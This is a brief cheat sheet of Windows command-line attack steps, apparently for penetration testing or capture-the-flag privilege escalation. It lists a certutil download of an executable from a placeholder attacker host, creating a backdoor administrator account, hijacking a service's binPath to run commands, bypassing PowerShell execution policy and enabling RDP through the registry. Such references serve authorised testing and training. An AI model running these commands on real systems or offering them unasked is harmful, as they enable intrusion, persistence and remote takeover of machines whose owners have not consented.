REM Check who you are: whoami /all REM Download file: certutil -urlcache -split -f http://KALI_IP:PORT/file.exe C:\Windows\Temp\file.exe REM Add user: net user USERNAME PASSWORD /add && net localgroup administrators USERNAME /add REM Service binPath hijack: sc config SVCNAME binPath= "cmd /c command" && sc stop SVCNAME && sc start SVCNAME REM Check groups: net localgroup "Administrators" net localgroup "Server Operators" net localgroup "Backup Operators" REM Spawn PS from cmd: powershell -nop -ep bypass -c "COMMAND" REM Enable RDP: reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f REM Run PS script from cmd: powershell -ExecutionPolicy Bypass -File C:\path\script.ps1